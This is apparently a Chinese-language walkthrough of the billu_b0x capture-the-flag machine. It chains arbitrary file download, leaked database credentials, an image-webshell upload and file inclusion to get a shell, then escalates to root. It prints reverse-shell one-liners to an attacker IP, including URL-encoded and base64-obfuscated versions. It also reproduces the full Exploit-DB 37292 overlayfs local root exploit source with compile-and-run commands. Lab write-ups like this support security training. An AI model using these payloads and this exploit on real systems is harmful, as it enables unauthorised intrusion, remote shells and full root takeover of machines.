billu_b0x靶场通关

billu靶场通关

靶机ip：192.168.112.134

信息收集

端口开放

80

目录扫描

images目录存在目录遍历
test.php(任意文件下载)
add.php(文件上传)
index.php(主页)
head.php
show.php
c.php

这个工具的字典不全，换py脚本重新扫多出了以下目录

phpmy
in
panel.php

渗透阶段

发现test.php存在任意文件下载，利用该漏洞读取其他文件

index.php

session_start();

include('c.php');
include('head.php');
if(@$_SESSION['logged']!=true)
{
	$_SESSION['logged']='';
	
}

if($_SESSION['logged']==true &&  $_SESSION['admin']!='')
{
	
	echo "you are logged in :)";
	header('Location: panel.php', true, 302);
}
else
{
echo '

--==[[ billu b0x ]]==-- 



Show me your SQLI skills 


Username :-    Password:-  


';
}
if(isset($_POST['login']))
{
	$uname=str_replace('\'','',urldecode($_POST['un']));
	$pass=str_replace('\'','',urldecode($_POST['ps']));
	$run='select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'';
	$result = mysqli_query($conn, $run);
if (mysqli_num_rows($result) > 0) {

$row = mysqli_fetch_assoc($result);
	   echo "You are allowed
";
	   $_SESSION['logged']=true;
	   $_SESSION['admin']=$row['username'];
	   
	 header('Location: panel.php', true, 302);
   
}
else
{
	echo "";
}
	
}
echo "B0X Powered By Pirates ";

?>

add.php

echo '
    Select image to upload:
    
	
	
	
    
';



?>

test.php

function file_download($download)
{
	if(file_exists($download))
				{
					header("Content-Description: File Transfer"); 
					
					header('Content-Transfer-Encoding: binary');
					header('Expires: 0');
					header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
					header('Pragma: public');
					header('Accept-Ranges: bytes');
					header('Content-Disposition: attachment; filename="'.basename($download).'"'); 
					header('Content-Length: ' . filesize($download));
					header('Content-Type: application/octet-stream'); 
					ob_clean();
					flush();
					readfile ($download);
				}
				else
				{
				echo "file not found";	
				}
	
}

if(isset($_POST['file']))
{
file_download($_POST['file']);
}
else{

echo '\'file\' parameter is empty. Please provide file path in \'file\' parameter ';
}

show.php

include('c.php');

if(isset($_POST['continue']))
{
	$run='select * from users ';
	$result = mysqli_query($conn, $run);
if (mysqli_num_rows($result) > 0) {
echo "";while($row=mysqli_fetch_assoc($result)){echo'';}echo"
ID
User
Address
Image
    
   
	    
'.$row['id'].'
'.htmlspecialchars ($row['name'],ENT_COMPAT).'
'.htmlspecialchars ($row['address'],ENT_COMPAT).'
.htmlspecialchars ($row['image'],ENT_COMPAT).'" height=90px width=100px>

    
";
}
}

?>

c.php

#header( 'Z-Powered-By:its chutiyapa xD' );
header('X-Frame-Options: SAMEORIGIN');
header( 'Server:testing only' );
header( 'X-Powered-By:testing only' );

ini_set( 'session.cookie_httponly', 1 );

$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");

// Check connection
if (mysqli_connect_errno())
  {
  echo "connection failed ->  " . mysqli_connect_error();
  }

?>

在阅读完源码后进行代码审计

在c.php代码中发现了数据库的连接信息,但没扫出3306端口有可能站库分离，或者端口未开放都有可能

mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");

但后面在phpmy目录发现了phpMyAdmin的登录入口

直接用c.php中的密码进行连接，成功进入后台。在后台ica_lab数据库的auth表中发现一个账号

在in路径是phpinfo泄露，想尝试直接写入webshell到网站根路径但操作失败

使用账号密码在index.php页面进行登录

之后跳转到panel.php页面点击continue展示了一些相关信息

选择Add User点击continue，发现可以上传文件

利用任意文件下载读取panel.php

panel.php

session_start();

include('c.php');
include('head2.php');
if(@$_SESSION['logged']!=true )
{
		header('Location: index.php', true, 302);
		exit();
	
}



echo "Welcome to billu b0x ";
echo '
';
if(isset($_POST['lg']))
{
	unset($_SESSION['logged']);
	unset($_SESSION['admin']);
	header('Location: index.php', true, 302);
}
echo '

';

echo '



    Show Users
	Add User
 

  

';
if(isset($_POST['continue']))
{
	$dir=getcwd();
	$choice=str_replace('./','',$_POST['load']);
	
	if($choice==='add')
	{
       		include($dir.'/'.$choice.'.php');
			die();
	}
	
        if($choice==='show')
	{
        
		include($dir.'/'.$choice.'.php');
		die();
	}
	else
	{
		include($dir.'/'.$_POST['load']);
	}
	
}


if(isset($_POST['upload']))
{
	
	$name=mysqli_real_escape_string($conn,$_POST['name']);
	$address=mysqli_real_escape_string($conn,$_POST['address']);
	$id=mysqli_real_escape_string($conn,$_POST['id']);
	
	if(!empty($_FILES['image']['name']))
	{
		$iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);
	$r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);
	$image=array('jpeg','jpg','gif','png');
	if(in_array($r,$image))
	{
		$finfo = @new finfo(FILEINFO_MIME); 
	$filetype = @$finfo->file($_FILES['image']['tmp_name']);
		if(preg_match('/image\/jpeg/',$filetype )  || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype ))
				{
					if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name']))
							 {
							  echo "Uploaded successfully ";
							  $update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')'; 
							 mysqli_query($conn, $update);
							  
							}
				}
			else
			{
				echo "
i told you dear, only png,jpg and gif file are allowed";
			}
	}
	else
	{
		echo "
only png,jpg and gif file are allowed";
		
	}
}


}

?>

阅读panel.php的源码，发现在上传界面有后缀白名单校验不是很好绕过，同时存在文件包含include函数

我们直接绕过上传图片马，图片保存在uploaded_images目录下

利用panel文件包含进行绕过

测试成功后蚁剑连接getshell

需要配置header以及body

提权阶段

蚁剑是半交互式的，升级shell到交互式

反弹bash命令需要进行编码处理，直接反弹失败

从Ubuntu 6.10开始，默认使用shell是 dash 而不是 bash 。dash只有运行脚本的能力，而没有交互能力，所以需要指定bash，来进行命令执行。

以下给出几种可以直接反弹的方法

需要注意system(“xxx”)如果是双引号payload是单引号，如果是system(‘xxx’)单引号则payload需要对双引号进行编码

1.使用bash -c

bash -c 'bash -i >& /dev/tcp/192.168.112.130/7777 0>&1'

需要url编码

%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%31%32%2e%31%33%30%2f%37%37%37%37%20%30%3e%26%31%27

或者对特殊字符编码

bash+-c+%27bash+-i+%3E%2Fdev%2Ftcp%2F192.168.112.130%2F7777+0%3E%261%27

2.使用管道符 | bash

echo "bash -i >& /dev/tcp/192.168.112.130/7777 0>&1" | bash

url编码

%65%63%68%6f%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%31%32%2e%31%33%30%2f%37%37%37%37%20%30%3e%26%31%22%20%7c%20%62%61%73%68

3.base64

echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMi4xMzAvNzc3NyAwPiYx" | base64 -d | bash

url编码

%65%63%68%6f%20%22%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4f%54%49%75%4d%54%59%34%4c%6a%45%78%4d%69%34%78%4d%7a%41%76%4e%7a%63%33%4e%79%41%77%50%69%59%78%22%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68

进入交互式shell

python -c "import pty;pty.spawn('/bin/bash');"

进行内核提权

查看内核版本

cat /etc/issue

上传漏洞exp 37292.c至tmp目录

 Exploit Database
Exploit Database

    Exploits

    GHDB

    Papers

    Shellcodes

    Search EDB

    SearchSploit Manual

    Submissions

    Online Training

Exploit Database

Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation
EDB-ID:
37292
CVE:
2015-1328

EDB Verified:
Author:
rebel
Type:
local

Exploit:   /  
Platform:
Linux
Date:
2015-06-16

Vulnerable App:

/*
# Exploit Title: ofs.c - overlayfs local root in ubuntu
# Date: 2015-06-15
# Exploit Author: rebel
# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)
# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04
# CVE : CVE-2015-1328     (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)

*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
CVE-2015-1328 / ofs.c
overlayfs incorrect permission handling + FS_USERNS_MOUNT

user@ubuntu-server-1504:~$ uname -a
Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu-server-1504:~$ gcc ofs.c -o ofs
user@ubuntu-server-1504:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev)
user@ubuntu-server-1504:~$ ./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user)

greets to beist & kaliman
2015-05-24
%rebel%
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
*/

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define LIB "#include \n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n    return _real_getuid();\n}\n"

static char child_stack[1024*1024];

static int
child_exec(void *stuff)
{
    char *file;
    system("rm -rf /tmp/ns_sploit");
    mkdir("/tmp/ns_sploit", 0777);
    mkdir("/tmp/ns_sploit/work", 0777);
    mkdir("/tmp/ns_sploit/upper",0777);
    mkdir("/tmp/ns_sploit/o",0777);

    fprintf(stderr,"mount #1\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
            fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
            exit(-1);
        }
        file = ".access";
        chmod("/tmp/ns_sploit/work/work",0777);
    } else file = "ns_last_pid";

    chdir("/tmp/ns_sploit/o");
    rename(file,"ld.so.preload");

    chdir("/");
    umount("/tmp/ns_sploit/o");
    fprintf(stderr,"mount #2\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {
            exit(-1);
        }
        chmod("/tmp/ns_sploit/work/work",0777);
    }

    chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
    umount("/tmp/ns_sploit/o");
}

int
main(int argc, char **argv)
{
    int status, fd, lib;
    pid_t wrapper, init;
    int clone_flags = CLONE_NEWNS | SIGCHLD;

    fprintf(stderr,"spawning threads\n");

    if((wrapper = fork()) == 0) {
        if(unshare(CLONE_NEWUSER) != 0)
            fprintf(stderr, "failed to create new user namespace\n");

        if((init = fork()) == 0) {
            pid_t pid =
                clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
            if(pid < 0) {
                fprintf(stderr, "failed to create new mount namespace\n");
                exit(-1);
            }

            waitpid(pid, &status, 0);

        }

        waitpid(init, &status, 0);
        return 0;
    }

    usleep(300000);

    wait(NULL);

    fprintf(stderr,"child threads done\n");

    fd = open("/etc/ld.so.preload",O_WRONLY);

    if(fd == -1) {
        fprintf(stderr,"exploit failed\n");
        exit(-1);
    }

    fprintf(stderr,"/etc/ld.so.preload created\n");
    fprintf(stderr,"creating shared library\n");
    lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
    write(lib,LIB,strlen(LIB));
    close(lib);
    lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
    if(lib != 0) {
        fprintf(stderr,"couldn't create dynamic library\n");
        exit(-1);
    }
    write(fd,"/tmp/ofs-lib.so\n",16);
    close(fd);
    system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
    execl("/bin/su","su",NULL);
}
            

Copy
Tags:
Advisory/Source: Link
Downloads 	Certifications 	Training 	Professional Services
Kali Linux 	OSCP 	Penetration Testing with Kali Linux (PWK) (PEN-200)
All new for 2020 	Penetration Testing
Kali NetHunter 	OSWP 	Offensive Security Wireless Attacks (WiFu) (PEN-210) 	Advanced Attack Simulation
Kali Linux Revealed Book 	OSEP 	Evasion Techniques and Breaching Defences (PEN-300)
All new for 2020 	Application Security Assessment
	OSWE 	Advanced Web Attacks and Exploitation (AWAE) (WEB-300)
Updated for 2020 	
	OSED 	Windows User Mode Exploit Development (EXP-301)
All new for 2021 	
	OSEE 		
	KLCP 	[Free] Kali Linux Revealed 	

    Exploit Database by Offensive Security Terms Privacy About Us FAQ Cookies 

© OffSec Services Limited 2023. All rights reserved.

执行命令

gcc 37292.c -o ofs
./ofs